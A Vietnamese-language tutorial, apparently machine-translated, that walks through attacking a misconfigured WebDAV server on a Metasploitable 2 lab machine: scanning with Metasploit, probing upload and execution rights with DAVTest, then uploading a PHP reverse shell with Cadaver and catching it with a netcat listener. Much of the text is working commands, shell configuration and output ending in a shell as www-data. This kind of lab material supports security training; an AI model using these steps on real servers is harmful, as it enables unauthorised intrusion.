Internet chắc chắn đã thay đổi cách chúng ta làm việc và giao tiếp. Với những tiến bộ công nghệ, ngày càng có nhiều người có thể cộng tác trên web từ bất cứ đâu trên thế giới. Nhưng môi trường thân thiện từ xa này vốn đã mang đến rủi ro bảo mật và tin tặc luôn tìm cách khai thác hệ thống cho các mục đích sử dụng khác.
WebDAV, hoặc Tác giả phân phối và phiên bản web, là một giao thức cho phép người dùng cộng tác và chỉnh sửa nội dung từ xa trên web . Nó là một phần mở rộng của HTTP nhưng sử dụng các tính năng riêng biệt của nó để nâng cao các phương thức và tiêu đề HTTP tiêu chuẩn.
Giao thức chủ yếu được sử dụng để chỉnh sửa và cộng tác từ xa, nhưng nó cũng có thể được sử dụng để truyền tệp . Nó thường chạy trên cổng 80 theo mặc định hoặc đôi khi là cổng 443 để liên lạc được mã hóa. Mặc dù WebDAV cung cấp cho người dùng khả năng và sự thuận tiện để truy cập nội dung web từ bất cứ đâu, nhưng chức năng từ xa này có thể là một lỗ hổng bảo mật rất lớn nếu không được cấu hình đúng.
Trong hướng dẫn này, chúng tôi sẽ sử dụng Metasploitable 2 làm mục tiêu và Kali Linux làm máy cục bộ. Bạn có thể sử dụng một thiết lập tương tự để làm theo nếu bạn muốn.
Bước 1 Kiểm tra xem WebDAV đã được bật chưa
Điều đầu tiên chúng ta cần làm là kiểm tra xem WebDAV có được bật trên mục tiêu hay không. Metasploit có một máy quét mà chúng ta có thể sử dụng để làm như vậy, vì vậy hãy kích hoạt nó bằng cách gõ msfconsole trong thiết bị đầu cuối . Sau đó, chúng ta có thể định vị mô-đun bằng lệnh tìm kiếm :
msf5 > search webdav
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/dir_webdav_unicode_bypass normal Yes MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
1 auxiliary/scanner/http/ms09_020_webdav_unicode_bypass normal Yes MS09-020 IIS6 WebDAV Unicode Authentication Bypass
2 auxiliary/scanner/http/webdav_internal_ip normal Yes HTTP WebDAV Internal IP Scanner
3 auxiliary/scanner/http/webdav_scanner normal Yes HTTP WebDAV Scanner
4 auxiliary/scanner/http/webdav_website_content normal Yes HTTP WebDAV Website Content Scanner
5 exploit/multi/http/sun_jsws_dav_options 2010-01-20 great Yes Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
6 exploit/multi/svn/svnserve_date 2004-05-19 average No Subversion Date Svnserve
7 exploit/osx/browser/safari_file_policy 2011-10-12 normal No Apple Safari file:// Arbitrary Code Execution
8 exploit/windows/browser/java_ws_arginject_altjvm 2010-04-09 excellent No Sun Java Web Start Plugin Command Line Argument Injection
9 exploit/windows/browser/java_ws_double_quote 2012-10-16 excellent No Sun Java Web Start Double Quote Injection
10 exploit/windows/browser/java_ws_vmargs 2012-02-14 excellent No Sun Java Web Start Plugin Command Line Argument Injection
11 exploit/windows/browser/keyhelp_launchtripane_exec 2012-06-26 excellent No KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability
12 exploit/windows/browser/ms07_017_ani_loadimage_chunksize 2007-03-28 great No Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
13 exploit/windows/browser/ms10_022_ie_vbscript_winhlp32 2010-02-26 great No MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution
14 exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec 2010-06-09 excellent No Microsoft Help Center XSS and Command Execution
15 exploit/windows/browser/ms10_046_shortcut_icon_dllloader 2010-07-16 excellent No Microsoft Windows Shell LNK Code Execution
16 exploit/windows/browser/oracle_webcenter_checkoutandopen 2013-04-16 excellent No Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution
17 exploit/windows/browser/ubisoft_uplay_cmd_exec 2012-07-29 normal No Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution
18 exploit/windows/browser/webdav_dll_hijacker 2010-08-18 manual No WebDAV Application DLL Hijacker
19 exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average Yes SAP NetWeaver HostControl Command Injection
20 exploit/windows/http/xampp_webdav_upload_php 2012-01-14 excellent No XAMPP WebDAV PHP Upload
21 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow
22 exploit/windows/iis/iis_webdav_upload_asp 2004-12-31 excellent No Microsoft IIS WebDAV Write Access Code Execution
23 exploit/windows/iis/ms03_007_ntdll_webdav 2003-05-30 great Yes MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
24 exploit/windows/local/ms16_016_webdav 2016-02-09 excellent Yes MS16-016 mrxdav.sys WebDav Local Privilege Escalation
25 exploit/windows/misc/ibm_director_cim_dllinject 2009-03-10 excellent Yes IBM System Director Agent DLL Injection
26 exploit/windows/misc/vmhgfs_webdav_dll_sideload 2016-08-05 normal No DLL Side Loading Vulnerability in VMware Host Guest Client Redirector
27 exploit/windows/misc/webdav_delivery 1999-01-01 manual No Serve DLL via webdav server
28 exploit/windows/scada/ge_proficy_cimplicity_gefebt 2014-01-23 excellent Yes GE Proficy CIMPLICITY gefebt.exe Remote Code Execution
29 exploit/windows/ssl/ms04_011_pct 2004-04-13 average No MS04-011 Microsoft Private Communications Transport Overflow
30 post/windows/escalate/droplnk normal No Windows Escalate SMB Icon LNK Dropper
Chúng tôi muốn mô-đun webdav_scanner , vì vậy hãy tải nó bằng lệnh use :
msf5 > use auxiliary/scanner/http/webdav_scanner
Bây giờ, chúng ta có thể xem các tùy chọn cho mô-đun này:
msf5 auxiliary(scanner/http/webdav_scanner) > options
Module options (auxiliary/scanner/http/webdav_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes Path to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
Bây giờ chúng tôi muốn đặt đường dẫn đến / dav / , một thư mục thường được sử dụng cho WebDAV:
msf5 auxiliary(scanner/http/webdav_scanner) > set path /dav/
path => /dav/
Tiếp theo, chúng tôi có thể đặt rhosts thành địa chỉ IP của mục tiêu của chúng tôi:
msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Chúng ta nên đi tốt, vì vậy hãy chạy để khởi chạy mô-đun:
msf5 auxiliary(scanner/http/webdav_scanner) > run
[+] 10.10.0.50 (Apache/2.2.8 (Ubuntu) DAV/2) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Máy quét sẽ trả về một số thông tin HTTP, bao gồm số phiên bản Apache và liệu WebDAV có được bật hay không. Như chúng ta có thể thấy ở trên, nó thực sự được kích hoạt trên mục tiêu của chúng tôi.
Bước 2 Kiểm tra quyền của tệp với DAVTest
Điều tiếp theo chúng tôi muốn làm là kiểm tra các quyền và chính sách thực thi tệp trên máy chủ. Hãy nhớ rằng, mục tiêu cuối cùng của chúng tôi ở đây là có được một lớp vỏ ngược , vì vậy chúng tôi cần biết những gì chúng tôi đang bước vào.
DAVTest là một công cụ tiện dụng sẽ tự động kiểm tra những thứ này cho chúng ta. Chỉ cần nhập davtest trong thiết bị đầu cuối để xem ví dụ về trợ giúp và sử dụng:
~# davtest
ERROR: Missing -url
/usr/bin/davtest -url <url> [options]
-auth+ Authorization (user:password)
-cleanup delete everything uploaded when done
-directory+ postfix portion of directory to create
-debug+ DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
-move PUT text files then MOVE to executable
-nocreate don't create a directory
-quiet only print out summary
-rand+ use this instead of a random string for filenames
-sendbd+ send backdoors:
auto - for any succeeded test
ext - extension matching file name(s) in backdoors/ dir
-uploadfile+ upload this file (requires -uploadloc)
-uploadloc+ upload file to this location/name (requires -uploadfile)
-url+ url of DAV location
Example: /usr/bin/davtest -url http://localhost/davdir
Ở cấp độ cơ bản nhất, tất cả những gì chúng ta cần làm là cung cấp cho nó một URL hợp lệ trỏ đến một thể hiện của WebDAV. Đương nhiên, sử dụng công tắc -url theo sau là URL chính xác.
Ở đây, chúng ta có thể thấy công cụ làm việc kỳ diệu của nó. Nó bắt đầu bằng cách kiểm tra kết nối và cố gắng tạo một thư mục thử nghiệm mà chúng tôi thấy là một thành công. Tiếp theo, DAVTest sẽ gửi nhiều loại tệp khác nhau để xác định những gì có thể được tải lên. Có vẻ như tất cả những thành công này.
~# davtest -url http://10.10.0.50/dav
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.0.50/dav
********************************************************
NOTE Random string for this session: 6WDIVTY
********************************************************
Creating directory
MKCOL SUCCEED: Created http://10.10.0.50/dav/DavTestDir_6WDIVTY
********************************************************
Sending test files
PUT asp SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
PUT txt SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
PUT php SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
PUT jhtml SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jhtml
PUT aspx SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.aspx
PUT cgi SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cgi
PUT shtml SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.shtml
PUT cfm SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cfm
PUT html SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
PUT jsp SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jsp
PUT pl SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.pl
********************************************************
Checking for test file execution
EXEC asp FAIL
EXEC txt SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
EXEC php SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
EXEC jhtml FAIL
EXEC aspx FAIL
EXEC cgi FAIL
EXEC shtml FAIL
EXEC cfm FAIL
EXEC html SUCCEED: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
EXEC jsp FAIL
EXEC pl FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.0.50/dav/DavTestDir_6WDIVTY
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jhtml
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.aspx
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cgi
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.shtml
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cfm
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jsp
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.pl
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
Đến cuối của đầu ra ở trên, chúng ta thấy những thứ tốt: kiểm tra để thực hiện tập tin . Chúng ta có thể thấy rằng hầu hết trong số chúng đều thất bại, nhưng TXT, HTML và có lẽ quan trọng nhất đối với chúng ta, các tệp PHP , sẽ thực hiện thành công. Tất cả những gì chúng ta cần làm bây giờ là tìm cách tải lên shell của chúng tôi.
Bước 3 Tải lên Shell bằng Cadaver
Đối với giai đoạn cuối của cuộc tấn công, chúng tôi sẽ sử dụng một công cụ có tên là Cadaver, cung cấp giao diện trực quan để tương tác với dịch vụ WebDAV – với các lệnh giống như FTP rất dễ sử dụng.
Chúng tôi có thể xem thông tin trợ giúp và sử dụng bằng cách nhập cadaver -h trong thiết bị đầu cuối:
~# cadaver -h
Usage: cadaver [OPTIONS] http://hostname[:port]/path
Port defaults to 80, path defaults to '/'
Options:
-t, --tolerant Allow cd/open into non-WebDAV enabled collection.
-r, --rcfile=FILE Read script from FILE instead of ~/.cadaverrc.
-p, --proxy=PROXY[:PORT] Use proxy host PROXY and optional proxy port PORT.
-V, --version Display version information.
-h, --help Display this help message.
Please send bug reports and feature requests to <cadaver@webdav.org>
Hãy kiểm tra nó với một tệp văn bản vô hại trước khi chúng tôi chuyển sang tải lên trình bao của chúng tôi. Đầu tiên, tạo một tệp văn bản đơn giản:
root@drd:~# echo 'TESTING' > test.txt
Tiếp theo, chúng tôi có thể kết nối với WebDAV thông qua Cadaver bằng cách cung cấp URL thích hợp:
~# cadaver http://10.10.0.50/dav
dav:/dav/>
Để có được một danh sách các lệnh có sẵn, gõ ? hoặc giúp đỡ tại dấu nhắc:
dav:/dav/> ?
Available commands:
ls cd pwd put get mget mput
edit less mkcol cat delete rmcol copy
move lock unlock discover steal showlocks version
checkin checkout uncheckout history label propnames chexec
propget propdel propset search set open close
echo quit unset lcd lls lpwd logout
help describe about
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
Chúng tôi có thể sử dụng lệnh put để tải lên tệp thử nghiệm của mình:
dav:/dav/> put test.txt
Uploading test.txt to `/dav/test.txt':
Progress: [=============================>] 100.0% of 8 bytes succeeded.
Bây giờ, nếu chúng ta điều hướng đến nó trong trình duyệt , chúng ta sẽ thấy văn bản hiển thị cho chúng ta:
Vì hiện tại chúng tôi tự tin rằng việc tải lên sẽ hoạt động, chúng tôi có thể thoát khỏi Cadaver ngay bây giờ để chúng tôi có thể chuẩn bị sẵn sàng:
dav:/dav/> quit
Connection to `10.10.0.50' closed.
Kali chứa nhiều loại shell trong thư mục / usr / share / webshells / . Chúng tôi muốn trình bao ngược PHP, vì vậy hãy sao chép nó vào thư mục hiện tại của chúng tôi bằng lệnh sau:
~# cp /usr/share/webshells/php/php-reverse-shell.php .
Tiếp theo, chúng tôi cần chỉnh sửa một vài thứ, vì vậy hãy mở tệp bằng trình soạn thảo văn bản yêu thích của bạn và thay đổi địa chỉ IP thành địa chỉ của máy cục bộ của chúng tôi, cũng như cổng thành cổng bạn chọn:
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1'; // CHANGE THIS
$port = 7777; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Lưu tệp và thiết lập trình nghe với Netcat để bắt kết nối đến:
~# nc -lvnp 7777
listening on [any] 7777 ...
Trong một cửa sổ hoặc tab mới, kết nối lại với WebDAV và tải lên trình bao của chúng tôi giống như chúng tôi đã làm trước đó với tệp thử nghiệm:
~# cadaver http://10.10.0.50/dav
dav:/dav/> put php-reverse-shell.php
Uploading php-reverse-shell.php to `/dav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5491 bytes succeeded.
Bây giờ hãy duyệt đến tệp và nếu thành công, chúng ta sẽ thấy trình duyệt bị treo:
Quay lại với người nghe, chúng ta sẽ thấy một kết nối mở ra từ mục tiêu:
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 54183
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
14:41:17 up 1:01, 1 user, load average: 0.12, 0.08, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 :0.0 13:41 1:00 0.05s 0.05s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.2$
Bây giờ chúng tôi có thể đưa ra các lệnh như whoami để xác nhận rằng chúng tôi đã xâm phạm máy chủ:
sh-3.2$ whoami
www-data
Từ đây, có lẽ chúng tôi muốn nâng cấp hệ vỏ của mình và cố gắng nâng cấp đặc quyền lên root.
Kết thúc
Trong hướng dẫn này, chúng tôi đã tìm hiểu về WebDAV và cách khai thác phiên bản cấu hình sai của nó để có quyền truy cập shell. Đầu tiên, chúng tôi đã sử dụng máy quét Metasploit để xác định xem WebDAV có chạy trên mục tiêu hay không. Tiếp theo, chúng tôi đã có thể kiểm tra các chính sách thực thi tệp bằng một công cụ có tên là DAVTest. Cuối cùng, chúng tôi đã sử dụng Cadaver để tải lên một vỏ ngược và thỏa hiệp máy chủ. Mặc dù truy cập từ xa cung cấp một cách thuận tiện để cộng tác, tin tặc sẽ luôn cố gắng khai thác nó để sử dụng riêng.